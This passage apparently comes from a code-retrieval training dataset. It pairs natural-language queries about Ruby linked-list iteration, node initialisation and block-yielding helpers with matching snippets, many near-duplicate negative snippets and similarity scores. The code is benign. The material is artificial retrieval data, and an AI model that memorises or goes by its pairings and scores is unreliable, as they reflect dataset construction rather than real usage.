empty?\n length == 0\n end", "def empty?\n length == 0\n end", "def empty?\n count.zero?\n end", "def empty?\n count.zero?\n end", "def empty?\n count.zero?\n end" ]
[ "0.8433691", "0.83238953", "0.83238953", "0.83238953", "0.815359", "0.8150619", "0.8074313", "0.79508775", "0.79508775", "0.79508775", "0.7940231", "0.79050887", "0.78901756", "0.7872357", "0.7866937", "0.77244616", "0.77026004", "0.7689538", "0.76545227", "0.76545227", "0.76545227", "0.7622428", "0.76120317", "0.76120317", "0.7601735", "0.75997233", "0.7584038", "0.75764835", "0.7574605", "0.7561737", "0.75531656", "0.7545311", "0.75410783", "0.753171", "0.7528466", "0.7523211", "0.7523211", "0.752043", "0.75190914", "0.7513868", "0.7501414", "0.7500938", "0.7492719", "0.7492719", "0.74905765", "0.74905765", "0.74905765", "0.74905765", "0.748232", "0.7480688", "0.7480688", "0.74713916", "0.7452216", "0.7450803", "0.7445455", "0.7439591", "0.743415", "0.7431047", "0.74243194", "0.7416583", "0.7411926", "0.7409903", "0.7409903", "0.73985165", "0.739791", "0.7388441", "0.7386393", "0.73822016", "0.73785347", "0.7368583", "0.73670626", "0.7343041", "0.7342689", "0.7326518", "0.73260635", "0.73085135", "0.72967494", "0.7296689", "0.7293379", "0.7289412", "0.7282735", "0.7281971", "0.7279866", "0.72634447", "0.72513425", "0.7228546", "0.7216379", "0.7216379", "0.72113544", "0.72102225", "0.72040737", "0.71915734", "0.7191444", "0.7191161", "0.7191161", "0.7191161", "0.7186045", "0.7186045", "0.7186045" ]
0.75520414
32
Iterate through the elements from first to last
def each current = @head while current != nil yield current.value current = current.next end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def each(&block)\n (@first .. @last).each(&block)\n end", "def each(first = 0, last = @rows.count - 1)\n index = first\n while index <= last\n yield(@rows[index], index)\n\n index += 1\n end\n end", "def each\n (@first..@last).each {|addr| yield addr}\n end", "def each()\n cur = @first\n while cur\n yield cur.value\n cur = cur.next\n end\n end", "def each\r\n res = self.to_a\r\n 0.upto(res.length - 1) do |x|\r\n yield res[x]\r\n end\r\n end", "def each\n self[0..-1].each { |o| yield o }\n end", "def each\n\t\t\t@elements.each\n\t\tend", "def each\n yield self[0]\n yield self[1]\n end", "def each(&block)\n i = @elements.length - 1\n while i >= 0\n yield @elements[i]\n i -= 1\n end\n end", "def each_mid(&block)\n \n end", "def each\n\t\taux = @head\n while aux != nil do\n\t\t\tyield aux.value\n aux = aux.next\n\n end\n\n\tend", "def each\n\t\taux = @head\n\t\twhile aux != nil\n\t\t\tyield aux.value\n\t\t\taux = aux.next\n\t\tend\n\tend", "def iterate(itr)\n @left.iterate(itr)\n @right.iterate(itr)\n end", "def each\n return to_enum :each unless block_given?\n inst, last = first, last\n\n while inst\n yield inst\n break if inst == last\n inst = inst.next\n end\n\n self\n end", "def each\n nodo=@tail\n while nodo != nil\n yield nodo.value\n nodo = nodo.next\n end\n end", "def each\n\t\titerator = @head\n\t\twhile iterator != nil do\n\t\t\tyield iterator.value\n\t\t\titerator = iterator.next\n\t\tend\n\tend", "def each(unit)\n # unit should be implied by self\n a = self.send(unit) # get 1st instance of unit\n b = self.last.send(unit) # get unit after last\n \n while a < b\n yield a\n a = a.succ\n end\n \n end", "def collect_between(first, last)\n \tfirst == last ? [first] : [first, *collect_between(first.next, last)]\nend", "def each_with_trailing\n (0 .. self.size - 1).each { |index| yield self[index], (index == 0 ? nil : self[index - 1] ) }\n end", "def each a\n\ti = 0\n\tuntil i == a.size\n\t\tyield a[i]\n\t\ti += 1\n\tend\n\ta\nend", "def each\r\n actual = @head\r\n while actual != nil do\r\n yield actual.value\r\n actual = actual.next\r\n end\r\n end", "def each\n\t\taux = @head\n\t\twhile (aux != nil) do\n\t\t\tyield aux[\"value\"]\n\t\t\taux = aux[\"next\"]\n\t\tend\n\tend", "def each\n aux = @head\n while aux!=nil\n yield aux.value\n aux=aux.nest\n end\n end", "def each\n\t\tcurrent = @head\n\t\twhile current != nil\n\t\t\tyield current.value\n\t\t\tcurrent = current.next\n\t\tend\n\tend", "def each\n \n nodo = @head\n while nodo != nil\n \n yield nodo.value\n nodo = nodo.next\n \n end\n \n end", "def each\n\t\tyield dequeue while @last != 0\n\tend", "def each(&prc)\n link = first\n until link == self.tail\n prc.call(link)\n link = link.next\n end\n\n end", "def each\n current_node = @head\n (0..@size - 1).each do |_i|\n yield current_node.data\n current_node = current_node.next\n end\n end", "def each_in_list(list)\n for i in 0..(list.length - 1)\n yield list[i]\n end\nend", "def each(&block)\n @succ.each(&block)\n end", "def loop!\n f, l = first, last\n first.prv = l\n last.nxt = f\n end", "def each\r\n head = @node[:head]\r\n tail = @node[:tail]\r\n if !head.nil?\r\n while !tail.empty?\r\n yield head\r\n x_xs = tail.x_xs()\r\n head = x_xs[:x]\r\n tail = x_xs[:xs]\r\n end\r\n yield head\r\n end\r\n end", "def each()\n self.to_a.each { |elt| yield elt }\n end", "def each\n self.to_a.each do |el|\n yield(el)\n end\n end", "def each\n enum = @head\n while (enum != nil) \n yield enum.value\n enum = enum.next\n end\n end", "def func(list)\n\n puts list[0]\n\n midpoint = list.length / 2\n\n array[0..midpoint-1].each do |element|\n puts element\n end\n\n 10.times do\n puts 'hello world'\n end\nend", "def iterate\n raise \"You should implement this\"\n end", "def each\n to_a.each\n end", "def each\n to_a.each\n end", "def each\n to_a.each\n end", "def last_and_next\n\t\t\t\t\t\treturn [self.last, self.next]\n\t\t\t\t\tend", "def each(&b)\n # force loading of the full listing by using self[]\n self[0..(@index.size - 1)].each(&b)\n end", "def each(&blk)\n (0..@size-1).each { |i| blk.call(self.[](i)) }\n end", "def each\n current = @head\n until current.nil?\n yield current.val\n current = current.nxt\n end\n end", "def last\n return each\n end", "def each\n for each element\n yield(element)\n end\nend", "def each\n if @length > 0\n item = @head\n begin\n yield item.object\n item = item.next\n end until item.nil?\n end\n end", "def each(&block) # :yields: result\n 0.upto(@size - 1) {|x| yield self[x]}\n end", "def my_each_with_index\n i = 0\n while i < self.to_a.length\n yield self.to_a[i], i\n i += 1\n end\n end", "def each_pair(*) end", "def each(start=0)\n\t\t\tcounter = wrapping_counter @head_index, @tail_index, @queue.size\n\t\t\t\n\t\t\tcounter = counter[start..-1] if start != 0\n\t\t\t\n\t\t\tcounter.each do |i|\n\t\t\t\tyield @queue[i]\n\t\t\tend\n\t\tend", "def elements; end", "def elements; end", "def elements; end", "def each(*args)\n current = @head\n index = 0\n if args.length.positive?\n until current.nil?\n args[0].call(current.value, index)\n current = current.next\n index += 1\n end\n else\n until current.nil?\n yield(current.value, index)\n current = current.next\n index += 1\n end\n end\n end", "def each(&block) \n current = @head\n \n while current\n block.call(current.value)\n current = current.successor\n end\n end", "def each(&block)\n @ordered_elements.each(&block)\n end", "def loop_through\n self.map! do |element| \n if !element.is_a?(Array)\n element\n elsif element.is_a?(Array)\n element = element.dup\n element = element.loop_through\n end\n end\n end", "def each\n return to_enum unless block_given?\n list = self\n until list.empty?\n yield(list.head)\n list = list.tail\n end\n end", "def each\n return enum_for(:each) unless block_given?\n n = @head\n while n\n yield n.value\n n = n.next\n end\n end", "def each(&block)\n @current = self.head\n position = @current\n if block_given?\n while position do\n block.call( position.value.dup )\n position = position.next\n break if position.equal?(@current)\n end\n else\n Enumerator.new do |yielder|\n while position do\n yielder << position.value.dup\n position = position.next\n break if position.equal?(@current)\n end\n end\n end\n end", "def each\n @val.each_with_index { |o, i|\n o.each_with_index { |p, j| yield(i,j,p) }\n }\n end", "def each\n (0...size).each {|i| yield(self[i])}\n nil\n end", "def each &block\n #els = elements.map{|e| Builder.new(singular_r_name, e).build}\n return elements.to_enum if !block_given?\n for element in elements\n block.call(element)\n end\n end", "def each &block\n return enum_for(:each) unless block_given?\n ptr = @head\n while ptr\n yield ptr.value\n ptr = ptr.nxt\n end\n nil\n end", "def current_and_last_and_next\n\t\t\t\t\t\treturn [self.current, self.last, self.next]\n\t\t\t\t\tend", "def each\n all.each do |el|\n yield el\n end\n end", "def each(&block)\n # get the first\n node=getnext([])\n $DEBUG.puts \"each: first node is #{node}\"\n while node\n block.call node\n oldnode=node\n node=getnext(node.oid)\n $DEBUG.puts \"each: next of #{oldnode} is #{node}\"\n end\n end", "def each\n @position = @start\n\n while @position < @finish\n yield @positon\n self.succ\n end\n\n yield @position\n end", "def each\n return enum_for(:each) unless block_given?\n\n item = @head\n\n while item do\n yield item.value\n item = item.next\n end\n end", "def each\n current_node = @head\n while current_node\n yield(current_node.value) if block_given?\n current_node = current_node.next\n end\n end", "def each\n all.each do |el|\n yield el\n end\n end", "def each\n return nil if @head.nil?\n entry = @head\n until entry.nil?\n yield entry, \n entry = entry.next \n end\n end", "def each(*) end", "def items\n items, iter = [], @obj.items\n while (i = iter.next) do\n items << i\n end\n items\n end", "def each &block\n @storage.reverse_each &block\n end", "def each(&block)\n return to_enum unless block_given?\n \n unless empty?\n yield(head)\n tail.each(&block)\n end\n \n self\n end", "def each_value\n\t record = @head\r\n\t while record.next && record.next != @tail\r\n\t\t record = record.next\n\t\t record.values.each{|value| yield value }\r\n\t end\r\n end", "def each_cons(list)\n index = 0\n while index + 1 < list.length\n yield(list[index], list[index + 1])\n index += 1\n end\nend", "def next_element; end", "def reverse_each\n return nil unless block_given? current = self.tail\n while current\n yield current\n current = current.prev\n end\nend", "def each1\r\n aux = @head\r\n vec = []\r\n \r\n while (aux != nil)\r\n vec << aux.value\r\n aux = aux.next\r\n end\r\n\r\n vec.each.with_index(1) do |val,i|\r\n if(i < vec.size-1)\r\n vec.each.with_index(0) do |n,j|\r\n if(j < vec.size-i)\r\n if(vec[j] > vec[j+1])\r\n k=vec[j+1]\r\n vec[j+1]=vec[j]\r\n vec[j]=k\r\n end\r\n end\r\n end\r\n end\r\n end\r\n vec\r\n end", "def each1\r\n aux = @head\r\n vec = []\r\n \r\n while (aux != nil)\r\n vec << aux.value\r\n aux = aux.next\r\n end\r\n\r\n vec.each.with_index(1) do |val,i|\r\n if(i < vec.size-1)\r\n vec.each.with_index(0) do |n,j|\r\n if(j < vec.size-i)\r\n if(vec[j] > vec[j+1])\r\n k=vec[j+1]\r\n vec[j+1]=vec[j]\r\n vec[j]=k\r\n end\r\n end\r\n end\r\n end\r\n end\r\n vec\r\n end", "def each\n 0.upto(item_count - 1) { | i | yield i }\n end", "def each # And define each on top of next\n loop { yield self.next }\n end", "def each\n return to_enum :each unless block_given?\n 0.upto(size-1) { |i| yield self[i] }\n self\n end", "def each\n return to_enum :each unless block_given?\n 0.upto(size-1) { |i| yield self[i] }\n self\n end", "def each(&block)\n\t\t\t@ordered.each(&block)\n\t\tend", "def each\n i = 0\n while i < 2\n yield self[i]\n i += 1\n end\n end", "def each\n\n\t\t@a.each do |x|\n\t\t\tyield x\n\t\tend\n\tend", "def extract_by_begin()\n if @head == @tail\n \t\t@head, @tail = nil\n else\n @head = @head[:next]\n \t\t@tail = @tail[:prev]\n \t\t@tail[:next] = nil\n end\n end", "def step(first, last, step_val)\n while first <= last\n yield(first)\n first += step_val\n end\nend", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def my_each\n return to_enum unless block_given?\n\n i = 0\n arr = to_a\n while i <= arr.length - 1\n yield (arr[i])\n i += 1\n end\n self\nend", "def each\n raise 'Not implemented'\n end" ]
[ "0.73530495", "0.6462952", "0.6411263", "0.64104784", "0.6395315", "0.63842976", "0.63316", "0.6263833", "0.6259264", "0.62401015", "0.6222621", "0.619506", "0.6147945", "0.6143022", "0.61424553", "0.61396587", "0.6113857", "0.61133415", "0.60955346", "0.60798615", "0.6020969", "0.60183346", "0.599897", "0.5987412", "0.59832263", "0.59616077", "0.59393144", "0.5887748", "0.5842867", "0.5835757", "0.58287287", "0.57947266", "0.5784769", "0.57754326", "0.57728946", "0.5770904", "0.57404727", "0.57070506", "0.57070506", "0.57070506", "0.5705604", "0.5705097", "0.5699607", "0.5695286", "0.56912684", "0.5685574", "0.5685449", "0.56791425", "0.56781906", "0.5676147", "0.5665308", "0.56629044", "0.56629044", "0.56629044", "0.56549996", "0.56493545", "0.5641711", "0.5628738", "0.5626121", "0.562208", "0.56215376", "0.56067413", "0.5597824", "0.5580028", "0.55782115", "0.5574738", "0.5568835", "0.5564512", "0.5552173", "0.55513936", "0.55487543", "0.55453515", "0.5531279", "0.55261785", "0.5510173", "0.5509456", "0.5505273", "0.5500499", "0.54922926", "0.54914826", "0.54908", "0.5487401", "0.5487401", "0.54846984", "0.54801124", "0.54772186", "0.54772186", "0.5470638", "0.5470017", "0.5467187", "0.5465337", "0.5462862", "0.54571146", "0.54571146", "0.54571146", "0.54571146", "0.54571146", "0.54571146", "0.54569274", "0.5439897" ]
0.57602304
36
Initialize a node with value v, previous p and next n
def initialize(v, n, p) @value = v @next = n @previous = p end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(value, prev_node = nil, next_node = nil)\n @prev_node = prev_node\n @next_node = next_node\n @value = value\n end", "def initialize(value = nil, next_node = nil, prev_node = nil)\n @value = value\n @next = next_node\n @prev = prev_node\n end", "def initialize(value, next_node=nil) #create node object with head and pointer to next node\n @value = value\n @next_node = next_node #initialized to nil by default \n end", "def initialize(value, previous_node = nil, next_node = nil)\n @data = value\n @previous = previous_node\n @next = next_node\n end", "def initialize(p=nil, n=nil)\n @data = p\n @next = n\n end", "def initialize\n @Node = Struct.new(:value, :next, :prev)\n\t\t@head = nil\n @tail = nil\n end", "def initialize(val, next_in_line)\r\n\t\t@value = val\r\n\t\t@next_node = next_in_line\r\n\t\tputs \"Initialized a Node with value: \" + @value.to_s\r\n\tend", "def initialize(value = nil, next_node = nil)\n @value = value\n @next_node = next_node\n end", "def initialize(value = nil, next_node = nil)\n @value = value\n @next = next_node\n end", "def initialize(value = nil, next_node = nil)\n @value = value\n @next_node = next_node\n end", "def initialize(value = nil, next_node = nil)\n\t\t@next_node = next_node\n\t\t@value = value\n\tend", "def initialize(value, next_node = nil)\r\n @data = value\r\n @next = next_node\r\n end", "def initialize(value, next_node = nil)\r\n @data = value\r\n @next = next_node\r\n end", "def initialize(value, next_node = nil)\r\n @data = value\r\n @next = next_node\r\n end", "def initialize(value, next_node = nil)\r\n @data = value\r\n @next = next_node\r\n end", "def initialize(key, value, next_node)\r\n\t\t\t@key = key\r\n\t\t\t@value = value\r\n\t\t\t@next = next_node\r\n\t\tend", "def initialize(value)\n @head = Node.new(value)\n @tail = @head\n end", "def initialize(val)\r\n @head = Node.new(val,nil,nil)\r\n @tail = @head\r\n end", "def initialize(value)\n @value = value\n @next = nil\n end", "def initialize(value)\n @value = value\n @next = nil\n end", "def initialize(head_value = nil)\n @head = Node.new(head_value)\n @size = head_value ? 1 : 0\n end", "def initialize\n @head = Node.new(:head)\n @tail = Node.new(:tail)\n @head.next = @tail\n @tail.prev = @head\n # nil on default @head.prev = nil\n # nil on default @tail.next = nil\n end", "def initialize\n @value = nil\n @next = nil\n end", "def initialize(v, c)\n @value = v\n @children = c\n end", "def initialize(n, v)\r\n @meret=n\r\n @elemek=v\r\n k=(n-1)/2 #-1\r\n k.downto(0) do |i|\r\n kupacol(i)\r\n end\r\n end", "def initialize(first_value=nil)\n @head = Node.new(first_value)\n end", "def initialize(n, head_node, last_node)\n\t\tsuper()\n\t\t@n = n\n\t\t@head_node = head_node\n\t\t@last_node = last_node\n\t\treturn\n\tend", "def initialize(nodes_v, nodes_s)\n @nodes_v = nodes_v\n @nodes_s = nodes_s\n @cost = nil\n end", "def initialize(v, c=[])\n @value = v\n @children = c\n end", "def initialize(val)\n\t\tnewNode = Node.new(val, nil)\n\t\t@head = newNode\n\t\t@tail = newNode\n\tend", "def initialize(value)\n value==nil ? raise : #throw an exception if there were no value\n @value=value\n @node_to_go=nil\n rescue\n puts \"There is no such number\"\n end", "def initialize(first_value = nil)\n @head = Node.new(first_value) if first_value\n end", "def initialize(first_value=nil)\n @head = Node.new(first_value) if first_value\n end", "def initialize(value, prev=nil, succ=nil)\n @value = value\n @prev = prev\n @prev.succ = self if prev\n @succ = succ\n @succ.prev = self if succ\n end", "def number_node(n, num)\n n.branch_length = num\n # n.cumulative_branch_length == nil ? n.cumulative_branch_length = num : n.cumulative_branch_length = (n.cumulative_branch_length + num)\n end", "def init3_2(data = nil)\r\n\t@head = Node.new(data)\r\n\t@tail = nil\r\nend", "def n=(new_n)\n @n , @previous_n = new_n, @n\n build_chains() if @n != @previous_n && @previous_n != nil && @previous_n != 0\n end", "def initialize(head_value = nil, tail_value = nil)\n @head = Node.new(head_value)\n @tail = Node.new(tail_value)\n # If either, but not both, head or tail is nil set size to 1; otherwise 0\n @size = (head_value ^ tail_value) ? 1 : 0\n\n\n # If both head and tail vals are provided\n if head_value && tail_value\n # The head and tail props are already set, so now just set the next on head to tail\n @head.next = @tail\n # and set the prev no tail to head\n @tail.prev = @head\n # The XOR check on size set it to 0 so here is where actual size is set under these conds\n @size = 2\n elsif head_value\n # If only the head val is given, the head is set so this is where tail is set\n @tail = @head\n else\n # In this case, no head was given, but a tail was; set head to the tail node\n @head = @tail\n end\n end", "def create_linked_list(values)\n nodes = []\n\n previous_node = nil\n values.each do |num|\n previous_node = ListNode.new(num, previous_node)\n nodes.push(previous_node)\n end\n\n nodes.reverse\nend", "def initialize\n @sentinel = Node.new\n @sentinel.prev = @sentinel\n @sentinel.next = @sentinel\n end", "def initialize\n @sentinel = Node.new\n @sentinel.prev = @sentinel\n @sentinel.next = @sentinel\n end", "def preprend(value)\n new_node = ListNode.new(value)\n if self.head.nil?\n self.head = self.tail = new_node\n self.size = 1\n else\n set_next_and_prev(new_node, self.head)\n self.head = new_node\n self.size += 1\n end\n self.as_string\n end", "def init_node\n end", "def init_node\n end", "def initialize(label=false, value = false, vid)\n if !label\n @label = self.__id__\n else\n @label = label\n end\n @vid = vid\n @value = value\n @adj_v = Array.new\n @in_edges = Array.new\n @edges = Hash.new\n end", "def initialize(data)\n\t\t@head = Node.new(data, nil)\n\t\t@tail = @head\n\tend", "def [](index)\n if index >= 0\n node = @head\n index.times do\n node = node.next if node\n end\n elsif index < 0\n node = last\n iter = (index * -1) - 1 # convert neg to pos and\n # - 1 bc node = last\n (iter).times do\n node = prev node\n end\n end\n node ? node.value : nil\n end", "def initialize\n @sentinel_head = Node.new\n @sentinel_tail = Node.new\n @sentinel_head.next = @sentinel_tail\n @sentinel_tail.prev = @sentinel_head\n end", "def initialize(data)\n @head = Node.new(data)\n end", "def initialize(value, rest = EmptyList.new(nil))\n @value = value\n @next = rest\n end", "def linked_list_from_num(n)\n current = Node.new()\n head = current\n parent = nil\n n.digits.each do |d|\n current.val = d \n parent = current\n current.next = Node.new()\n current = current.next\n end\n parent.next = nil\n head\nend", "def assign_ins(i)\n self.first = self.last = Node.new\n self.first.value = i\n self.first.next = self.last.next = nil\n self.type = 'int'\n end", "def initialize size = nil, node = nil\n\t\t@count = 0\n\t\t@size = size\n\t\tif node == nil\n\t\t\t@head = nil\n\t\t\t@tail = nil\n\t\telse\n\t\t\t@head = node\n\t\t\tcurrent = @head\n\t\t\tuntil current == nil\n\t\t\t\tif current.next == nil\n\t\t\t\t\t@tail = current\n\t\t\t\tend\n\t\t\t\tcurrent = current.next\n\t\t\tend\n\t\tend\n\tend", "def <<(v)\n @head << Node.new(v)\n end", "def initialize(nn,&block)\n\t\tnn.each { |n| self[n] = NonTerminal.new(n) }\n\t\t@start = nil\n\t\tif(block != nil) then block.call(self) end\n\tend", "def initialize(nn,&block)\n\t\tnn.each { |n| self[n] = NonTerminal.new(n) }\n\t\t@start = nil\n\t\tif(block != nil) then block.call(self) end\n\tend", "def init_with_2_args(nv = 0, dv = 1)\n raise ArgumentError, \":nv and :dv must be kind_of?(Integer).\" unless nv.kind_of?(Integer) and dv.kind_of?(Integer)\n # initial values needed when getting parent and position\n @nv = nv\n @dv = dv\n # calculate value\n val = value_from_parent_and_position(self.parent, self.position)\n raise ArgumentError, \"Cannot set nv and dv values. verify the values for :nv and :dv\" unless ((val.nv == nv) and (val.dv == dv))\n set_values(val.nv,val.dv,val.snv,val.sdv)\n end", "def init4(head)\r\n\traise \"List4 must be initialized with a Node\" unless head.is_a?(Node)\r\n\t@head = head\r\n\t@tail = head\r\nend", "def set_head(value)\n @head = new_node(value)\nend", "def initialize(n = 2)\n @n = n;\n @xn = Array.new(@n, 0.0);\n @wn = Array.new(@n, 0.0);\n @v = 0.0;\n end", "def two_point_four(head, n)\n @current = head\n @o1 = nil\n @p1 = nil\n @current_o = nil\n @current_p = nil\n @o_flag = false\n @p_plag = false\n while(@current != nil)\n if(@current.data < n && !@o_flag)\n @o1 = Node.new(@current.data, nil)\n @current_o = @o1\n @o_flag = true\n elsif(@current.data >= n && !@p_flag)\n @p1 = Node.new(@current.data, nil)\n @current_p = @p1\n @p_flag = true\n elsif(@current.data < n && @o_flag)\n @current_o.next = Node.new(@current.data, nil)\n @current_o = @current_o.next\n elsif(@current.data >= n && @p_flag)\n @current_p.next = Node.new(@current.data, nil)\n @current_p = @current_p.next\n end\n @current = @current.next\n end\n @current_o.next = @p1\n return @o1\n end", "def initialize(n)\n @n = n\n init_positions\n end", "def initialize(data = nil, next_node = nil)\n\t\t\t@data = data\n\t\t\t@next_node = next_node\n\t\tend", "def initialize(obj=nil)\n @value = obj\n @next = nil\n end", "def init1(firstNode = Node.new(data = nil))\r\n\t@head = firstNode\r\n\t@tail = nil\r\nend", "def init1(firstNode = Node.new(nil)) #may want to have firstNode = nil instead\t\t\t\r\n\t@head = firstNode\r\n\t@tail = nil\r\nend", "def init2_2(foo= Node.new(nil))\r\n\t@head = foo = Node.new(nil)\r\n\t@tail = foo.next = nil\r\nend", "def prepend (number)\n # create a new node\n this_node = Node.new(number)\n \n # make new node point to head, and save it to head\n this_node.next_node = head\n @head = this_node\n end", "def set_next(node)\n @next_node = node\n end", "def initialize(data = nil)\r\n\t\t@head = Node.new(data)\r\n\t\t@tail = nil\r\n\tend", "def initialize(data = nil)\r\n\t\t@head = Node.new(data)\r\n\t\t@tail = nil\r\n\tend", "def init2(firstNode = Node.new(data = nil))\r\n\t@head = firstNode = Node.new(data = nil)\r\n\t@tail = firstNode.next = nil\r\nend", "def visit_node(n); end", "def insert_at(index, value)\n node = Node.new\n node.value = value\n counter = 0\n current_node = @head\n until counter == index\n previous_node = current_node\n current_node = current_node.next_node\n counter += 1\n end\n previous_node.next_node = node\n node.next_node = current_node\n end", "def initialize\n\t\t@head = nil\n\t\t@tail = nil\n\t\t@largo = 0\n\tend", "def initialize(v)\n @vertices = v\n @edges = 0\n @adjList = Array.new(v)\n\n # create a list for each vertex\n @adjList.each_index do |index|\n @adjList[index] = []\n end\n end", "def initialize(n)\n @n = n\n end", "def node=(_); end", "def node=(_); end", "def initialize(x, y)\n\t\t@x = x\n\t\t@y = y\n\t\t@adjacent = []\n\t\t@predecessor = nil\n\t\t@visted = false\n\t\t@node_string = \" \"\n\tend", "def node=(_arg0); end", "def ins_start(value)\n if @head != nil && @head.node_sig != nil\n n = @head\n @head = Node.new(value, n, nil)\n n.edi_ant(@head)\n elsif @head != nil\n n = @head\n @head = Node.new(value, n, nil)\n n.edi_ant(@head)\n @tail = n\n else\n @head = Node.new(value, nil, nil)\n @tail = @head\n end\n end", "def initialize val,left,right\n @value = val\n @left = left\n @right = right\n end", "def initialize(headNode = nil)\n @head = headNode\n end", "def initialize graph\n # Make the data entry easier with default hash values\n @graph = Hash.new{|h,k| h[k]=Vertex.new(k,[],false,nil,nil)}\n @rev = Hash.new{|h,k| h[k]=Vertex.new(k,[],false,nil,nil)}\n @t = 0\n @s = nil\n @f_times = []\n\n graph.each do |(v1,v2)|\n @graph[v1].neighbours << v2\n @graph[v2]\n @rev[v2].neighbours << v1\n @rev[v1]\n end\n\n # Set the hash back to its safe default\n @graph.default = @rev.default = nil\n return @graph\n end", "def []=(index, value)\n if index < 0 || index > @length - 1\n return nil\n else\n node = @head\n count = 1\n until count > index\n node = node.next\n count += 1\n end\n end\n node.value = value\n end", "def initialize(source_instance,transition) \n @number=0 \n @nodecost=0\n @passby=false\n @instance=source_instance\n @transition=transition\n @neighbours=[]\n \n @name = \"NODE \" +source_instance + \" - \" + transition.to_s \n \n end", "def _init(val, klass)\n @node_count ||= 0\n @root = val ? klass.new(val) : nil\n @node_count += 1 unless val.nil?\n end", "def initialize(data = nil)\r\n\t\t@head = Node.new(data)\r\n\t\t@tail = nil\r\n\t\tif data==nil\r\n\t\t\t@size = 0\r\n\t\telse\r\n\t\t\t@size = 1\r\n\t\tend\r\n\tend", "def initialize(t,v)\n @type, @value = t, v\n is_list = false\n arg_idx = nil\n end", "def next(num)\n @node = num\n @hour.number +=1\n end", "def initialize(node)\n @node = node\n end", "def initialize(node)\n @node = node\n end", "def next=(node)\n @next = node\n end", "def initialize(node)\n @node = node\n end", "def initialize(node:)\n @node = node\n end", "def initialize( node )\n @node = node\n end", "def initialize(*args)\n super\n @value = @args.first\n @blocks = {}\n @current_case = nil\n @default = NodeList.new(self)\n end", "def initialize()\n @curr=nil\n @len=0\n end", "def initialize(p0, *rest) end" ]
[ "0.71622914", "0.70657563", "0.6996835", "0.69682926", "0.6892347", "0.6859073", "0.6813041", "0.6787243", "0.6725085", "0.65873814", "0.6585844", "0.6493821", "0.6493821", "0.6493821", "0.6493821", "0.6420695", "0.62953573", "0.6289484", "0.6244451", "0.6244451", "0.6136073", "0.61186975", "0.6071753", "0.60605454", "0.6022215", "0.60044223", "0.6003863", "0.59845304", "0.59429526", "0.59414446", "0.59342295", "0.59260905", "0.58920044", "0.5847224", "0.58188325", "0.579893", "0.57963264", "0.57895017", "0.57826287", "0.57788277", "0.57788277", "0.57481337", "0.57288677", "0.57288677", "0.57287514", "0.5708609", "0.5695447", "0.569312", "0.56910187", "0.5690736", "0.56866175", "0.56836194", "0.5664733", "0.5593739", "0.5575348", "0.5575348", "0.5570673", "0.55621904", "0.5556118", "0.55476314", "0.55184305", "0.55064046", "0.55053306", "0.5499747", "0.549196", "0.5487219", "0.5475517", "0.54575795", "0.5455484", "0.5446223", "0.5446223", "0.5416865", "0.54088134", "0.5392975", "0.5371242", "0.53563374", "0.53445494", "0.53432685", "0.53432685", "0.53374076", "0.5335237", "0.5333391", "0.5331976", "0.53306663", "0.5303293", "0.5302252", "0.5301939", "0.52993053", "0.52905613", "0.5286735", "0.52802247", "0.52785456", "0.52785456", "0.5276715", "0.5271358", "0.5267569", "0.52651465", "0.5264031", "0.526129", "0.52607054" ]
0.8784927
0
Yield the content for a given block. If the block yiels nothing, the optionally specified default text is shown. yield_or_default(:user_status) yield_or_default(:sidebar, "Sorry, no sidebar") +target+ specifies the object to yield. +default_message+ specifies the message to show when nothing is yielded. (Default: "")
def yield_or_default(message, default_message = "") message.nil? ? default_message : message end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def main_content\n yield if block_given?\n end", "def block_message_printer\n message = \"Welcome to Block Message Printer\"\n if block_given?\n yield\n end\n puts \"But in this function/method message is :: #{message}\"\nend", "def default(&block)\n if block_given?\n @default = block\n else\n @default\n end\n end", "def content_for(*args,&block)\n if block\n helpers.content_for(*args,&block)\n else\n rawtext(helpers.content_for(*args))\n ''\n end\n end", "def show\n block_given? ? yield : head(:ok)\n end", "def block(name, value = nil, &block)\n value = self._template.context.capture(&block) if value.nil? && block\n self._template.blocks[name] ||= value\n return self._template.blocks[name]\n end", "def body(&block)\n call_once\n if block_given?\n yield body\n else\n @body\n end\n end", "def block_or_string_content\n content_block ? view_context.capture(self, &content_block) : content_string\n end", "def foo\n if block_given?\n # Call the block\n yield\n else\n puts \"Sem parâmetro do tipo bloco\"\n end\nend", "def ui_action(message)\n puts message\n yield\n end", "def greeting\n name = (yield if block_given?) || \"Stranger\"\n puts \"Hello! #{name}\"\nend", "def html_blocklike_show(title, content)\n render('layouts/block', :title => title, :content => content) unless content.blank?\n end", "def help_block_sidebar(message)\n render :partial => '/shared/ubiquo/help_block_sidebar',\n :locals => {:message => message}\n end", "def show_maybe(opts={})\n return if hide_content?(opts)\n yield\n end", "def default_to(&block)\n raise ArgumentError, _('must be passed a block') unless block_given?\n @default_to = block\n end", "def run_block\n @_block_content = nil\n unless block.blank?\n @_block_content = if view.parent.present?\n capture(view, &block)\n else\n ## We've been called directly from a controller.\n yield(view)\n end\n end\n end", "def default\n if @default_block.nil?\n return nil\n end\n\n return @default_block.call\n end", "def public_content(&block)\n yield if !logged_in?\n end", "def optional\n puts 'A code block isn\\'t required, but it\\'s nice.'\n yield if block_given? #Kernel#block_given?\n puts 'I\\'m happy either way, really.'\nend", "def foo\n if block_given?\n yield\n else\n puts \"Sem parametro do tipo bloco\"\n end\nend", "def duas2\n # calls the default_block\n yield 1\n yield 2\nend", "def content\n call_block\n end", "def log_to_screen(message, &block)\n if test?\n yield\n else\n print \"#{message} ... \"\n STDOUT.flush\n yield\n puts 'done'\n STDOUT.flush\n end\n end", "def block_message_printer\n message = \"Welcome to Block Message Printer\"\n if block_given?\n proc.call\n end\n puts \"But in this function/method message is :: #{message}\"\n end", "def rblock\n if block_given?\n # yield execute the block\n yield\n else\n puts \"No block\"\n end\n end", "def do_something\n value = yield('Hello world') if block_given?\n puts \"The block returned #{value}\"\nend", "def not_for_any_user options = nil, &block\n return if Labels.state_check Labels.extract(options), current_user\n yield \n end", "def content_for_with_empty_check(name, content = nil, &block)\n if content_for?(name) == :empty\n # Some preceding layout or template has already specified that there is to be no content for this name, and that is FINAL.\n return nil\n else\n content_for_without_empty_check(name, content, &block)\n end\n end", "def call_this_block\n yield \"tweet\"\nend", "def call_this_block\n yield 